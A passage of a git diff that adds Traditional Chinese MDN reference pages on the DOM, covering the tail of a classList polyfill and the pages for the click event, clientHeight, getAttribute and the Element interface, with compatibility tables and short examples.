+      , classes = trimmedClasses ? trimmedClasses.split(/\s+/) : []
+      , i = 0
+      , len = classes.length
+    ;
+    for (; i &lt; len; i++) {
+      this.push(classes[i]);
+    }
+    this._updateClassName = function () {
+      elem.setAttribute("class", this.toString());
+    };
+  }
+  , classListProto = ClassList[protoProp] = []
+  , classListGetter = function () {
+    return new ClassList(this);
+  }
+;
+// Most DOMException implementations don't allow calling DOMException's toString()
+// on non-DOMExceptions. Error's toString() is sufficient here.
+DOMEx[protoProp] = Error[protoProp];
+classListProto.item = function (i) {
+  return this[i] || null;
+};
+classListProto.contains = function (token) {
+  token += "";
+  return checkTokenAndGetIndex(this, token) !== -1;
+};
+classListProto.add = function () {
+  var
+      tokens = arguments
+    , i = 0
+    , l = tokens.length
+    , token
+    , updated = false
+  ;
+  do {
+    token = tokens[i] + "";
+    if (checkTokenAndGetIndex(this, token) === -1) {
+      this.push(token);
+      updated = true;
+    }
+  }
+  while (++i &lt; l);
+
+  if (updated) {
+    this._updateClassName();
+  }
+};
+classListProto.remove = function () {
+  var
+      tokens = arguments
+    , i = 0
+    , l = tokens.length
+    , token
+    , updated = false
+    , index
+  ;
+  do {
+    token = tokens[i] + "";
+    index = checkTokenAndGetIndex(this, token);
+    while (index !== -1) {
+      this.splice(index, 1);
+      updated = true;
+      index = checkTokenAndGetIndex(this, token);
+    }
+  }
+  while (++i &lt; l);
+
+  if (updated) {
+    this._updateClassName();
+  }
+};
+classListProto.toggle = function (token, force) {
+  token += "";
+
+  var
+      result = this.contains(token)
+    , method = result ?
+      force !== true &amp;&amp; "remove"
+    :
+      force !== false &amp;&amp; "add"
+  ;
+
+  if (method) {
+    this[method](token);
+  }
+
+  if (force === true || force === false) {
+    return force;
+  } else {
+    return !result;
+  }
+};
+classListProto.toString = function () {
+  return this.join(" ");
+};
+
+if (objCtr.defineProperty) {
+  var classListPropDesc = {
+      get: classListGetter
+    , enumerable: true
+    , configurable: true
+  };
+  try {
+    objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);
+  } catch (ex) { // IE 8 doesn't support enumerable:true
+    if (ex.number === -0x7FF5EC54) {
+      classListPropDesc.enumerable = false;
+      objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);
+    }
+  }
+} else if (objCtr[protoProp].__defineGetter__) {
+  elemCtrProto.__defineGetter__(classListProp, classListGetter);
+}
+
+}(self));
+
+} else {
+// There is full or partial native classList support, so just check if we need
+// to normalize the add/remove and toggle APIs.
+
+(function () {
+  "use strict";
+
+  var testElement = document.createElement("_");
+
+  testElement.classList.add("c1", "c2");
+
+  // Polyfill for IE 10/11 and Firefox &lt;26, where classList.add and
+  // classList.remove exist but support only one argument at a time.
+  if (!testElement.classList.contains("c2")) {
+    var createMethod = function(method) {
+      var original = DOMTokenList.prototype[method];
+
+      DOMTokenList.prototype[method] = function(token) {
+        var i, len = arguments.length;
+
+        for (i = 0; i &lt; len; i++) {
+          token = arguments[i];
+          original.call(this, token);
+        }
+      };
+    };
+    createMethod('add');
+    createMethod('remove');
+  }
+
+  testElement.classList.toggle("c3", false);
+
+  // Polyfill for IE 10 and Firefox &lt;24, where classList.toggle does not
+  // support the second argument.
+  if (testElement.classList.contains("c3")) {
+    var _toggle = DOMTokenList.prototype.toggle;
+
+    DOMTokenList.prototype.toggle = function(token, force) {
+      if (1 in arguments &amp;&amp; !this.contains(token) === !force) {
+        return force;
+      } else {
+        return _toggle.call(this, token);
+      }
+    };
+
+  }
+
+  testElement = null;
+}());
+
+}
+
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#dom-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Note within the HTML specification related to the {{htmlattrxref("class")}} attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>10<sup>[1]</sup></td>
+   <td>11.50</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>toggle method's second argument</td>
+   <td>24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24")}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>15</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>10</td>
+   <td>11.10</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>toggle method's second argument</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("24")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Not supported for SVG elements.  See <a href="https://connect.microsoft.com/IE/feedback/details/1046039/classlist-not-working-on-svg-elements">a report at Microsoft about that</a>.<br>
+ [2] Internet Explorer never implemented this. See <a href="https://connect.microsoft.com/IE/feedback/details/878564/element-classlist-toggle-does-not-support-second-parameter">a report at Microsoft about that</a>.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}};</li>
+</ul>
diff --git a/files/zh-tw/web/api/element/click_event/index.html b/files/zh-tw/web/api/element/click_event/index.html
new file mode 100644
index 0000000000..4c7044e4b3
--- /dev/null
+++ b/files/zh-tw/web/api/element/click_event/index.html
@@ -0,0 +1,205 @@
+---
+title: click
+slug: Web/API/Element/click_event
+tags:
+  - 待翻譯
+translation_of: Web/API/Element/click_event
+---
+<p><code>click</code> 事件通常會在設備的按鈕（通常是滑鼠按鍵）點擊元素時執行。</p>
+
+<h2 id="基本資料">基本資料</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">詳述</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("MouseEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">網頁元素</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Varies</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>A count of consecutive clicks that happened in a short amount of time, incremented by one.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">&lt;div id="test"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  document.getElementById("test").addEventListener("click", function( event ) {
+    // 在 “clicked div”顯示點擊次數
+    event.target.innerHTML = "click count: " + event.detail;
+  }, false);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<p>Internet Explorer 8 &amp; 9 suffer from a bug where elements with a computed {{cssxref("background-color")}} of <a href="/en-US/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a> that are overlaid on top of other element(s) won't receive <code>click</code> events. Any <code>click</code> events will be fired at the underlying element(s) instead. See <a href="http://jsfiddle.net/YUKma/show/">this live example</a> for a demonstration.</p>
+
+<p>Known workarounds for this bug:</p>
+
+<ul>
+ <li>For IE9 only:
+  <ul>
+   <li>Set <code>{{cssxref("background-color")}}: <a href="/en-US/docs/Web/CSS/color_value#rgba()">rgba</a>(0,0,0,0)</code></li>
+   <li>Set <code>{{cssxref("opacity")}}: 0</code> and an explicit {{cssxref("background-color")}} other than <a href="/en-US/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a></li>
+  </ul>
+ </li>
+ <li>For IE8 and IE9: Set <code><a href="http://msdn.microsoft.com/en-us/library/ms532847(v=vs.85).aspx">filter</a>: alpha(opacity=0);</code> and an explicit {{cssxref("background-color")}} other than <a href="/en-US/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a></li>
+</ul>
+
+<h3 id="Safari_Mobile">Safari Mobile</h3>
+
+<p>Safari Mobile 7.0+ (and likely earlier versions too) suffers from a bug where <code>click</code> events aren't fired on elements that aren't typically interactive (e.g. {{HTMLElement("div")}}) and which also don't have event listeners directly attached to the elements themselves (i.e. <a href="http://davidwalsh.name/event-delegate">event delegation</a> is being used). See <a href="http://jsfiddle.net/cvrhulu/k9t0sdnf/show/">this live example</a> for a demonstration. See also <a href="https://developer.apple.com/library/safari/documentation/appleapplications/reference/safariwebcontent/HandlingEvents/HandlingEvents.html#//apple_ref/doc/uid/TP40006511-SW6">Safari's docs on making elements clickable</a> and the <a href="https://developer.apple.com/library/safari/documentation/appleapplications/reference/safariwebcontent/HandlingEvents/HandlingEvents.html#//apple_ref/doc/uid/TP40006511-SW7">definition of "clickable element"</a>.</p>
+
+<p>Known workarounds for this bug:</p>
+
+<ul>
+ <li>Set {{cssxref("cursor")}}<code>: pointer;</code> on the element or any of its ancestors.</li>
+ <li>Add a dummy <code>onclick=""</code> attribute to the element or any of its ancestors up to but not including {{HTMLElement("body")}}.</li>
+ <li>Use a typically interactive element (e.g. {{HTMLElement("a")}}) instead of one that isn't typically interactive (e.g. {{HTMLElement("div")}}).</li>
+ <li>Stop using <code>click</code> <a href="http://davidwalsh.name/event-delegate">event delegation</a>.</li>
+</ul>
+
+<p>Safari Mobile considers the following elements to be typically interactive (and thus they aren't affected by this bug):</p>
+
+<ul>
+ <li>{{HTMLElement("a")}} (but it must have an <code>href</code>)</li>
+ <li>{{HTMLElement("area")}} (but it must have an <code>href</code>)</li>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("label")}} (but it must be associated with a form control)</li>
+ <li>{{HTMLElement("textarea")}}</li>
+ <li><em>This list is incomplete; you can help MDN by doing further testing/research and expanding it.</em></li>
+</ul>
+
+<h2 id="關聯事件">關聯事件</h2>
+
+<ul>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/element/clientheight/index.html b/files/zh-tw/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..99ae4faf06
--- /dev/null
+++ b/files/zh-tw/web/api/element/clientheight/index.html
@@ -0,0 +1,62 @@
+---
+title: Element.clientHeight
+slug: Web/API/Element/clientHeight
+tags:
+  - API
+  - Reference
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Element.clientHeight </strong></code>唯讀屬性會回傳元素內部高度（像素），包含 padding 但並未包含水平滾動條、border、margin。</p>
+
+<p><code>clientHeight</code> 可以被計算成 CSS <code>height</code> + CSS <code>padding</code> - 水平滾動條的高度（如果有顯示）</p>
+
+<div class="note">
+<p><strong>Note:</strong> 這個屬性會以四捨五入進位取整數. 如果要使用非整數值, 使用 {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">表達式</h2>
+
+<pre class="syntaxbox">var <var>h</var> = <var>element</var>.clientHeight;</pre>
+
+<p><code><var>h</var></code> 代表元素高度(pixels)的正整數.</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientheight', 'clientHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">註</h3>
+
+<p><code>clientHeight</code> 是在 the Internet Explorer 物件介紹的屬性.</p>
+
+<h2 id="See_Also" name="See_Also">參見</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/getattribute/index.html b/files/zh-tw/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..e5b7a1c27e
--- /dev/null
+++ b/files/zh-tw/web/api/element/getattribute/index.html
@@ -0,0 +1,71 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+translation_of: Web/API/Element/getAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary">摘要</h2>
+
+<p><span class="seoSummary"><code>getAttribute()</code> 函式會回傳該網頁元素的屬性</span>。 如果該屬性不存在，其回傳值會是<code>null或</code> <code>""</code> (空字串); 詳見 {{Anch("Notes")}} 。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>var </em><code><em>attribute</em></code> = element.getAttribute(<code><em>attributeName</em></code>);
+</pre>
+
+<p>where</p>
+
+<ul>
+ <li><code><em>attribute</em></code> is a string containing the value of <code><em>attributeName</em></code>.</li>
+ <li><code><em>attributeName</em></code> is the name of the attribute whose value you want to get.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var div1 = document.getElementById("div1");
+var align = div1.getAttribute("align");
+
+alert(align); // shows the value of align for the element with id="div1"</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>When called on an HTML element in a DOM flagged as an HTML document, <code>getAttribute()</code> lower-cases its argument before proceeding.</p>
+
+<p>Essentially all web browsers (Firefox, Internet Explorer, recent versions of Opera, Safari, Konqueror, and iCab, as a non-exhaustive list) return <code>null</code> when the specified attribute does not exist on the specified element and this is what <a href="http://dom.spec.whatwg.org/#dom-element-getattribute" title="http://dom.spec.whatwg.org/#dom-element-getattribute">the current DOM specification draft</a> specifies. The old DOM 3 Core specification, on the other hand, says that the correct return value in this case is actually the <em>empty string</em>, and some DOM implementations implement this behavior. The implementation of getAttribute in XUL (Gecko) actually follows the DOM 3 Core specification and returns an empty string. Consequently, you should use {{domxref("element.hasAttribute()")}} to check for an attribute's existence prior to calling <code>getAttribute()</code> if it is possible that the requested attribute does not exist on the specified element.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>29</td>
+   <td>23</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (introduced in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/index.html b/files/zh-tw/web/api/element/index.html
new file mode 100644
index 0000000000..d363baeead
--- /dev/null
+++ b/files/zh-tw/web/api/element/index.html
@@ -0,0 +1,674 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Element
+  - NeedsTranslation
+  - TopicStub
+  - Élément(2)
+translation_of: Web/API/Element
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><span class="seoSummary"><strong><code>Element</code></strong> 介面表示了一個在 {{domxref("Document")}} 中的物件，其描述了各類型元素的共同屬性與方法，<code>Element</code> 的子介面則定義了不同類型元素的具體行為並增加額外的功能。</span>例如 {{domxref("HTMLElement")}} 為所有 HTML 元素的基礎介面，而 {{domxref("SVGElement")}} 則是定義所有 SVG 元素的介面。</p>
+
+<p>在 Web 領域之外，如 XUL 語言也能藉由 <code>XULElement</code> 介面來繼承 <code>Element</code>。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties" name="Properties">屬性</h2>
+
+<p><em>Inherits properties from its parent interface, {{domxref("Node")}}, and by extension that interface's parent, {{domxref("EventTarget")}}. It implements the properties of {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}, </em>and {{domxref("Animatable")}}.</p>
+
+<dl>
+ <dt>{{ domxref("Element.assignedSlot")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{domxref("HTMLSlotElement")}} interface associated with the element.</dd>
+ <dt>{{ domxref("Element.attributes") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{ domxref("NamedNodeMap") }} object containing the assigned attributes of the corresponding HTML element.</dd>
+ <dt>{{ domxref("Element.classList") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{ domxref("DOMTokenList") }} containing the list of class attributes.</dd>
+ <dt>{{ domxref("Element.className") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the class of the element.</dd>
+ <dt>{{ domxref("Element.clientHeight") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the inner height of the element.</dd>
+ <dt>{{ domxref("Element.clientLeft") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the width of the left border of the element.</dd>
+ <dt>{{ domxref("Element.clientTop") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the width of the top border of the element.</dd>
+ <dt>{{ domxref("Element.clientWidth") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the inner width of the element.</dd>
+ <dt>{{domxref("Element.computedName")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the label exposed to accessibility.</dd>
+ <dt>{{domxref("Element.computedRole")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the ARIA role that has been applied to a particular element.</dd>
+ <dt>{{ domxref("Element.id") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the id of the element.</dd>
+ <dt>{{ domxref("Element.innerHTML") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the markup of the element's content.</dd>
+ <dt>{{ domxref("Element.localName") }} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the local part of the qualified name of the element.</dd>
+ <dt>{{domxref("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>The namespace URI of the element, or <code>null</code> if it is no namespace.
+ <div class="note">
+ <p><strong>Note:</strong> In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2") }}</p>
+ </div>
+ </dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }} {{readOnlyInline}}</dt>
+ <dd>Is a {{ domxref("Element") }}, the element immediately following the given one in the tree, or <code>null</code> if there's no sibling node.</dd>
+ <dt>{{ domxref("Element.outerHTML") }} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the markup of the element including its content. When used as a setter, replaces the element with nodes parsed from the given string.</dd>
+ <dt>{{ domxref("Element.prefix") }} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the namespace prefix of the element, or <code>null</code> if no prefix is specified.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }} {{readOnlyInline}}</dt>
+ <dd>Is a {{ domxref("Element") }}, the element immediately preceding the given one in the tree, or <code>null</code> if there is no sibling element.</dd>
+ <dt>{{ domxref("Element.scrollHeight") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view height of an element.</dd>
+ <dt>{{ domxref("Element.scrollLeft") }} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Number")}} representing the left scroll offset of the element.</dd>
+ <dt>{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum left scroll offset possible for the element.</dd>
+ <dt>{{ domxref("Element.scrollTop") }} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Number")}} representing the top scroll offset the an element.</dd>
+ <dt>{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum top scroll offset possible for the element.</dd>
+ <dt>{{ domxref("Element.scrollWidth") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view width of the element.</dd>
+ <dt>{{domxref("Element.shadowRoot") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the youngest shadow root that is hosted by the element.</dd>
+ <dt>{{domxref("Element.slot")}} {{experimental_inline}}</dt>
+ <dd>Returns the name of the shadow DOM slot attatched to the element. A slot is a placeholder inside a web component that users can fill with their own markup.</dd>
+ <dt>{{domxref("Element.tabStop")}} {{non-standard_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.</dd>
+ <dt>{{ domxref("Element.tagName") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("String")}} with the name of the tag for the given element.</dd>
+ <dt>{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{domxref("UndoManager")}} associated with the element.</dd>
+ <dt>{{ domxref("Element.undoScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Level 3 defined <code>namespaceURI</code>, <code>localName</code> and <code>prefix</code> on the {{domxref("Node")}} interface. In DOM4 they were moved to <code>Element</code>.</p>
+
+<p>This change is implemented in Chrome since version 46.0 and Firefox since version 48.0.</p>
+</div>
+
+<h3 id="Handlers" name="Handlers">事件處理器</h3>
+
+<dl>
+ <dt>{{ domxref("Element.ongotpointercapture") }}</dt>
